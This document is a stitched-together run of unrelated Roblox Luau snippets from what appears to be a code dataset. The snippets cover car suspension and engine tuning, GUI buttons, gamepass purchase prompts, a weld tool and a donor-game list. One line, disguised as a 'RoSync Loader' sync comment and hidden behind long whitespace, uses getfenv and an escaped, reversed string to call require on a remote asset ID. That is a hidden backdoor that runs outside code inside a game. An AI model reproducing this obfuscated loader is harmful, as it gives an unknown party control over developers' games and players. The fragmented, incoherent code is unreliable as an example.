Roblox/luau_corpus huggingface dataset:
--[[Susupension]]
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
	
	--Front Suspension
	Tune.FSusDamping	= 100		-- Spring Dampening
	Tune.FSusStiffness	= 5000		-- Spring Force
	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FSusMaxExt		= .5		-- Max Extension Travel (in studs)
	Tune.FSusMaxComp	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward
	
	--Rear Suspension
	Tune.RSusDamping	= 100		-- Spring Dampening
	Tune.RSusStiffness	= 5000		-- Spring Force
	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RSusMaxExt		= .5		-- Max Extension Travel (in studs)
	Tune.RSusMaxComp	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)
		
	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics	
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Really black"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness
--[[Brakes]]
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS) 

	Tune.FBrakeForce	= 1800		-- Front brake force
	Tune.RBrakeForce	= 2000		-- Rear brake force
	Tune.PBrakeForce	= 5000		-- Handbrake force
	
	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]
--// JAFTERGAMERTV \\--

script.Parent.MouseButton1Click:connect(function() -- The function of when the Players Clicks.
	if script.Parent.Parent.Box1.Visible == false then -- This tells wither it is open or not.
		script.Parent.Text = "  " -- Tells us that it is open.
		script.Parent.Parent.Box1.Visible = true -- Makes the box visible.
	else -- Otherwise
		script.Parent.Text = "Account" -- Tells us that it is closed.
		script.Parent.Parent.Box1.Visible = false -- Makes the box Invisible
	end -- Ends the If statement.
end) -- Ends the function in general.
--Hand
character.Constraint.ConstraintHand.Attachment1 = RHR
character.Constraint.ConstraintHand.Attachment0 = RHL
---ex2---
script.Parent.Parent.ex2.exit1.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit2.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit3.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit4.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit5.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit6.SurfaceGui.TextLabel.TextTransparency = 1
--[[
	Creates a Symbol with the given name.

	When printed or coerced to a string, the symbol will turn into the string
	given as its name.
]]
function Symbol.named(name)
	assert(type(name) == "string", "Symbols must be created using a string name!")

	local self = newproxy(true)

	local wrappedName = string.format("Symbol(%s)", name)

	getmetatable(self).__tostring = function()
		return wrappedName
	end

	return self
end

return Symbol
--[[ Last synced 3/9/2021 04:43                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--/Sight
module.SightZoom 	= 5		-- Set to 0 if you want to use weapon's default zoom
module.SightZoom2 	= 0		--Set this to alternative zoom or Aimpart2 Zoom
-- Container for temporary connections (disconnected automatically)
local Connections = {};

function WeldTool.Equip()
	-- Enables the tool's equipped functionality

	-- Start up our interface
	ShowUI();
	EnableFocusHighlighting();

end;

function WeldTool.Unequip()
	-- Disables the tool's equipped functionality

	-- Clear unnecessary resources
	HideUI();
	ClearConnections();

end;

function ClearConnections()
	-- Clears out temporary connections

	for ConnectionKey, Connection in pairs(Connections) do
		Connection:Disconnect();
		Connections[ConnectionKey] = nil;
	end;

end;

function ShowUI()
	-- Creates and reveals the UI

	-- Reveal UI if already created
	if UI then

		-- Reveal the UI
		UI.Visible = true;

		-- Skip UI creation
		return;

	end;

	-- Create the UI
	UI = Core.Tool.Interfaces.BTWeldToolGUI:Clone();
	UI.Parent = Core.UI;
	UI.Visible = true;

	-- Hook up the buttons
	UI.Interface.WeldButton.MouseButton1Click:Connect(CreateWelds);
	UI.Interface.BreakWeldsButton.MouseButton1Click:Connect(BreakWelds);

	-- Hook up manual triggering
	local SignatureButton = UI:WaitForChild('Title'):WaitForChild('Signature')
	ListenForManualWindowTrigger(WeldTool.ManualText, WeldTool.Color.Color, SignatureButton)

end;

function HideUI()
	-- Hides the tool UI

	-- Make sure there's a UI
	if not UI then
		return;
	end;

	-- Hide the UI
	UI.Visible = false;

end;
--(continued from last line) The higher, the slower. The lower, the faster. Change the 0's to "math.pi/number." Make sure the number ISN'T 0.
end --Ends the "while true do"
--made by Bertox
--lul

 script.Parent.Parent.Parent.Parent.Electrics.Changed:connect(function()
	if script.Parent.Parent.Parent.Parent.Electrics.Value == true then
		script.Parent.Material = Enum.Material.Neon
	else
		script.Parent.Material = Enum.Material.SmoothPlastic
	end
end)
-- [ SETTINGS ] --

local statsName = "Diamonds" -- Your stats name
local maxItems = 15 -- Max number of items to be displayed on the leaderboard
local minValueDisplay = 1 -- Any numbers lower than this will be excluded
local maxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded
local abbreviateValue = false -- The displayed number gets abbreviated to make it "human readable"
local updateEvery = 60 -- (in seconds) How often the leaderboard has to update
local headingColor = Color3.fromRGB(24, 223, 254) -- The background color of the heading
-------------------------
function onClicked()
Car.BodyVelocity.velocity = Vector3.new(0, 2, 0)
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
--{HPattern, Automatic, DualClutch, CVT}
tri = script.Trigger

if script.Parent.Functions.ShiftUpRequested.Value == true then
	script.RPMManagement.Disabled = false
	FL.MotorMaxTorque = 0
	FR.MotorMaxTorque = 0
	RL.MotorMaxTorque = 0
	RR.MotorMaxTorque = 0
		
	if script.Parent.Storage.TransmissionType.Value == "HPattern" then
			
	end
	
	if script.Parent.Storage.TransmissionType.Value == "Automatic" then
		rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*xx1)*(tri.Value))
	end
	
	if script.Parent.Storage.TransmissionType.Value == "DualClutch" then
		rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*xx1)*(tri.Value)) 
	end
	
	if script.Parent.Storage.TransmissionType.Value == "CVT" then
		
	end
end

if carSeat.Storage.Handbrake.Value == true then
		FL.MotorMaxTorque = 0
		FR.MotorMaxTorque = 0
		end

if currentgear.Value == 1 then
	FL.MotorMaxTorque = (10000)*(carSeat.Storage.BrakeBias.Value/100)
		FR.MotorMaxTorque = (10000)*(carSeat.Storage.BrakeBias.Value/100)
		RL.MotorMaxTorque = (10000)*(1-(carSeat.Storage.BrakeBias.Value/100))
		RR.MotorMaxTorque = (10000)*(1-(carSeat.Storage.BrakeBias.Value/100))
		FL.AngularVelocity = 0
		FR.AngularVelocity = 0
		RL.AngularVelocity = 0
		RR.AngularVelocity = 0
		FL.MotorMaxAcceleration = 30
		FR.MotorMaxAcceleration = 30
		RL.MotorMaxAcceleration = 30
		RR.MotorMaxAcceleration = 30
end
if script.Parent.Functions.ShiftDownRequested.Value == true then
	script.RPMManagement.Disabled = false
	if script.Parent.Storage.Brake.Value ~= 1 and carSeat.Storage.Handbrake.Value ~= true then
	FL.MotorMaxTorque = 0
	FR.MotorMaxTorque = 0
	RL.MotorMaxTorque = 0
	RR.MotorMaxTorque = 0
	end
	if script.Parent.Storage.TransmissionType.Value == "HPattern" then
		
	end
	
	if script.Parent.Storage.TransmissionType.Value == "Automatic" then
		rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*x1x)*(tri.Value)) 
	end
	
	if script.Parent.Storage.TransmissionType.Value == "DualClutch" then
		rpm.Value = ((trans.Value*xxx)*(1-tri.Value)) + ((trans.Value*x1x)*(tri.Value)) 
	end
	
	if script.Parent.Storage.TransmissionType.Value == "CVT" then
		
	end
	
end

if speed < 2 then
	coast = 0
else
	coast = 5
end
m = (hp.Value / 2155)

if rpm.Value < 950/(four/2) then
	ch = 4
else
	ch = 1
end

if carSeat.Storage.Mode.Value == "City" then
	mode = 0.81
elseif carSeat.Storage.Mode.Value == "Sport" then
	mode = 0.98
elseif carSeat.Storage.Mode.Value == "Snow" then
	mode = 0.6
end


carSeat.Parent.Engine.Intake.Pitch = 1
-------------------------
function onClicked()
R.Function1.Disabled = false
R.loop.Disabled = true
R.BrickColor = BrickColor.new("Really red")

R.Function2.Disabled = true

end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
-----------------
--| Constants |--
-----------------

local GRAVITY_ACCELERATION = workspace.Gravity

local RELOAD_TIME = 3.5 -- Seconds until tool can be used again
local ROCKET_SPEED = 800 -- Speed of the projectile

local MISSILE_MESH_ID = 'http://www.roblox.com/asset/?id=2251534'
local MISSILE_MESH_SCALE = Vector3.new(0.35, 0.35, 0.25)
local ROCKET_PART_SIZE = Vector3.new(1.2, 1.2, 3.27)
--Updates the gear number
val.Gear.Changed:connect(function()
	
	Guages.Gear.Text = tostring(val.Gear.Value)
	
end)
-- ============================================
-- Falling Objects

local cube =
{
    MODEL = ServerStorage["Cube"],
    DAMAGE = 150,
    NUMBER_PER_MINUTE = 40,
    CLEANUP_DELAY_IN_SECONDS = 20
}
table.insert(fallingStuffTable, cube)
--[Variables]--

local BHText = workspace.HoursValues.BHTextValue;
local BHValue = workspace.HoursValues.BHValue;
local BHEndValue = workspace.HoursValues.BHEndValue;

local Stunning = script.Parent.Stunning;

local StunsValue = script.Parent.Stun.GetStuns
--[[
	Player state. Upon entering state Dead, will try and switch to spectating shortly after.
]]
local PlayerDead = {}
--// if a player is done typing, allow them to use Q/E to change spec again //--
UIS.TextBoxFocusReleased:connect(function()
	focusedOnText = false
end)
---[[ Chat Text Size Settings ]]
module.ChatWindowTextSize = 22
module.ChatChannelsTabTextSize = 18
module.ChatBarTextSize = 22
module.ChatWindowTextSizePhone = 14
module.ChatChannelsTabTextSizePhone = 18
module.ChatBarTextSizePhone = 14
--[[script.Parent.MouseButton1Click:connect(function()
	p = script.Parent.Parent.Parent.Parent.Parent
	script.Parent.Parent.Visible = false 
	if p.Order.Value == true then
		wait()
		ids = 21341246
game:GetService("MarketplaceService"):PromptProductPurchase(p, ids)
	print('passed.5')
	wait()
	script.Parent.Parent.Parent:Destroy()
		-- setup local variables
end
end)--]]


ID = game.Workspace.McDId.Value

script.Parent.MouseButton1Click:connect(function()
	script.Parent.Parent.Visible = false
	Service = game:GetService('MarketplaceService')
Player = script.Parent.Parent.Parent.Parent.Parent
local s,e = coroutine.resume(coroutine.create(function()
    if Player:findFirstChild("Backpack") then
     if Player:findFirstChild("Backpack") then
       Service.ProcessReceipt = (function(receiptInfo)
        for i,v in pairs(Player.Order:GetChildren()) do
			if v:IsA("BoolValue") then
			game.Lighting[v.Name]:clone().Parent = Player.Backpack
			end
				end
		Player.Order:ClearAllChildren()
		Player.Order.Value = false;
        Service.ProcessReceipt = nil;
		for a,b in pairs(Player.PlayerGui:GetChildren()) do
			if b.Name == "Incomplete" then
				b:Destroy()
			end
		end
       end)
       Service:PromptProductPurchase(Player,ID);
script.Parent.Parent.Parent.Name = "Incomplete"
     end
 end
end))
if not s then Instance.new("Hint",game.Workspace).Text = "Error: "..e end
end)
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 425		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16
	
	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)
---
local  Paint = false
	
script.Parent.MouseButton1Click:connect(function()
	Paint = not Paint
	handler:FireServer("Olive",Paint)
end)
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {};
local u1 = nil;
local u2 = require(script.LightningBolt);
function v1.Bolt(p1, p2, p3, p4, p5)
	local v2 = Instance.new("Part");
	v2.Size = Vector3.new(0, 0, 0);
	v2.Transparency = 1;
	v2.Anchored = true;
	v2.CanCollide = false;
	v2.Parent = workspace;
	local v3 = v2:Clone();
	local l__Ignored__4 = workspace.Ignored;
	v2.Parent = l__Ignored__4;
	v3.Parent = l__Ignored__4;
	v2.Position = p1;
	v3.Position = p2;
	local v5 = CFrame.fromAxisAngle((v3.Position - v2.Position).Unit, 2 * math.random(0.1, 10) * math.pi);
	local v6 = Instance.new("Attachment");
	local v7 = Instance.new("Attachment");
	v6.Parent = v2;
	v7.Parent = v3;
	v6.WorldAxis = v5 * v6.WorldAxis;
	v7.WorldAxis = v5 * v7.WorldAxis;
	if p5 == true then
		u1.Explode(v3.Position, 1, 20, Color3.fromRGB(90, 80, 255), Color3.fromRGB(90, 80, 255), Vector3.new(0, 2, 0), p4);
	end;
	local u3 = u2.new(v6, v7, p3);
	coroutine.resume(coroutine.create(function()
		wait(p4);
		u3:Destroy();
		v2:Destroy();
		v3:Destroy();
		v6:Destroy();
		v7:Destroy();
	end));
	return u3;
end;
function v1.Explode(p6, p7, p8, p9, p10, p11, p12, p13)
	local v8 = require(script.LightningBolt.LightningExplosion);
	v8.new(p6, p7, p8, p9, p10, p11);
	return v8;
end;
function v1.Sparks(p14, p15)
	return require(script.LightningBolt.LightningSparks).new(p14, p15);
end;
u1 = v1;
return nil;
--[[Transmission]]
	Tune.TransModes		= {"Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
-- (Hat Giver Script - Loaded.)

debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "GreenTopHat"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle" 
		p.formFactor = 0
		p.Size = Vector3.new(0,-0.25,0) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-0.25,0)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)
--//////// DO NOT EDIT BELOW UNLESS YOU KNOW WHAT YOU'RE DOING \\\\\\\\\\\\\\\\\\\\\\\\\



local uis = game:GetService("UserInputService")
local runservice = game:GetService("RunService")
local tweenservice = game:GetService("TweenService")
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local camera = workspace.CurrentCamera
local character = player.Character or player.CharacterAdded:Wait()
local rootpart = character:WaitForChild("HumanoidRootPart")
local humanoid = character:WaitForChild("Humanoid")
local torso
local roothip
local lowertorso
local oldc0
local leftshoulder
local rightshoulder
local larm
local rarm
local armparts = {}
local rigtype = nil

local isrunning = false
local armsvisible = true -- whether the arms are visible in first person
local armtransparency = firstperson_arm_transparency
local isfirstperson = false
local sway = Vector3.new(0,0,0)
local walksway = CFrame.new(0,0,0)
local strafesway = CFrame.Angles(0,0,0)
local jumpsway = CFrame.new(0,0,0)
local jumpswaygoal = Instance.new("CFrameValue")
--[[ Script Variables ]]--
while not Players.LocalPlayer do
	Players.PlayerAdded:wait()
end
local LocalPlayer = Players.LocalPlayer

local Tools = {}
local ToolEquipped = nil

local RevertAutoJumpEnabledToFalse = false

local ThumbstickFrame = nil
local GestureArea = nil
local StartImage = nil
local EndImage = nil
local MiddleImages = {}

local MoveTouchObject = nil
local IsFollowStick = false
local ThumbstickFrame = nil
local OnMoveTouchEnded = nil		-- defined in Create()
local OnTouchMovedCn = nil
local OnTouchEndedCn = nil
local TouchActivateCn = nil
local OnRenderSteppedCn = nil
local currentMoveVector = Vector3.new(0,0,0)
local IsFirstTouch = true
--------------------------------------------------------------------------

local _WHEELTUNE = {
																		--[[	
			SS6 Presets
	[Eco]		
		WearSpeed = 1,
		TargetFriction = .7,
		MinFriction = .1,
	[Road]		
		WearSpeed = 2,
		TargetFriction = .7,
		MinFriction = .1,
	[Sport]		
		WearSpeed = 3,
		TargetFriction = .79,
		MinFriction = .1,											]]

	TireWearOn 		= true	,
	
	--Friction and Wear
	FWearSpeed		= 5.0	,
	FTargetFriction	= 1.1	,
	FMinFriction 	= .5	,
	
	RWearSpeed		= 9.0	,
	RTargetFriction	= 2.0	,
	RMinFriction	= .5	,
	
	--Tire Slip
	TCSOffRatio		= 1/3	,
	WheelLockRatio	= 1/2	,	--SS6 Default = 1/4
	WheelspinRatio	= 1/1.1	,	--SS6 Default = 1/1.2
	
	--Wheel Properties
	FFrictionWeight	= 1		,	--SS6 Default = 1
	RFrictionWeight	= 1		,	--SS6 Default = 1
	FLgcyFrWeight	= 10	,
	RLgcyFrWeight	= 10	,
	
	FElasticity		= 0		,	--SS6 Default = .5
	RElasticity		= 0		,	--SS6 Default = .5
	FLgcyElasticity	= 0		,
	RLgcyElasticity	= 0		,
	
	FElastWeight	= 1		,	--SS6 Default = 1
	RElastWeight	= 1		,	--SS6 Default = 1
	FLgcyElWeight	= 10	,
	RLgcyElWeight	= 10	,
	
	--Wear Regen
	RegenSpeed		= 9.8		--SS6 Default = 3.6
}
--[[
	Destroys the component
]]
function Window:destroy()
	for _, connection in pairs(self._connections) do
		connection:Disconnect()
	end
end
return Window
--------LEFT DOOR --------

game.Workspace.doorleft.l31.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(1023)

game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
--Game which use Donor
local gamesWithDonor = {
	{574407221, "Super Hero Tycoon"};
	{2921400152, "4PLR Tycoon"};
	{1828225164, "Guest World"};
	{591993002, "OHD Roleplay World"};
	{4823091615 , "Paradise Life"};
	{49254942, "2 Player House Tycoon"};
	{3169584572, "Meme Music"};
	{2764548803, "Island Hotel"};
	{3093229294, "Animations: Mocap"};
	{3411100258, "evry bordr gam evr"};
	{3108078982, "HD Admin House"};
	{12996397, "Mega Fun Obby 🌟"};
	{184558572, "Survive the Disasters"};
	{4522347649, "[FREE ADMIN]"};
	
	--{0, ""};
	}
local coreFunctions
repeat wait() coreFunctions = main:GetModule("cf") until coreFunctions.RandomiseTable
local gamesWithDonorSorted = coreFunctions:RandomiseTable(gamesWithDonor, 86400)
for i, gameData in pairs(gamesWithDonorSorted) do
	local gameId = gameData[1]
	local gameName = gameData[2]
	local row = math.ceil(i/2)
	local column = i % 2 
	local gamePage
	if column == 1 then
		gamePage = templateGame:Clone()
		gamePage.Name = "AI Game".. row
		gamePage.Visible = true
		gamePage.Parent = pages.donor
	else
		gamePage = pages.donor["AI Game".. row]
	end
	local gameThumbnail = gamePage["GameImage"..column]
	local gameLabel = gamePage["GameName"..column]
	local image = "https://assetgame.roblox.com/Game/Tools/ThumbnailAsset.ashx?aid=".. gameId .."&fmt=png&wd=420&ht=420"
	gameThumbnail.Image = image
	gameLabel.Text = gameName
	gameThumbnail.Visible = true
	gameLabel.Visible = true
	--Teleport to game
	local selectButton = gameThumbnail.Select
	local clickFrame = gameThumbnail.ClickFrame
	selectButton.MouseButton1Click:Connect(function()
		teleportFrame.ImageLabel.Image = image
		teleportFrame.TeleportTo.TextLabel.Text = gameName.."?"
		teleportFrame.MainButton.PlaceId.Value = gameId
		main:GetModule("cf"):ShowWarning("Teleport")
	end)
	selectButton.MouseEnter:Connect(function()
		if not main.warnings.Visible then
			clickFrame.Visible = true
		end
	end)
	selectButton.MouseLeave:Connect(function()
		clickFrame.Visible = false
	end)
	teleportFrame.Visible = true
end
----------SCRIPTED BY ZEDARKALIEN----------

local button = script.Parent
local player = game.Players.LocalPlayer
local GamepassId = script.Parent.GamepassId

button.MouseButton1Click:connect(function()
	if player then
		game:GetService("MarketplaceService"):PromptGamePassPurchase(player, GamepassId.Value)
	end
end)
--[[
local attachment0 = Instance.new("Attachment", part)
local attachment1 = Instance.new("Attachment", char.PrimaryPart)

local AP = Instance.new("AlignPosition")
AP.Attachment0 = attachment0
AP.Attachment1 = attachment1
AP.MaxForce = math.huge
AP.Responsiveness = 200
AP.Parent = part

local AO = Instance.new("AlignOrientation")
AO.Attachment0 = attachment0
AO.Attachment1 = attachment1
AO.MaxTorque = math.huge
AO.Responsiveness = 200
AO.Parent = part
]]
part.Position = char.PrimaryPart.Position + Vector3.new(-100,0,0)
local weld = Instance.new("WeldConstraint")
weld.Part0 = part
weld.Part1 = char.PrimaryPart
weld.Parent = part

part.Parent = workspace.WeatherParts

for i,v in pairs(script:GetChildren()) do
	if v.Value > 0 then
		local particle = game.ReplicatedStorage.Particles[v.Name]:Clone()
		particle.Rate = math.huge
		particle.Parent = part
		--[[
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		particle:Clone().Parent = part
		]]
	end
end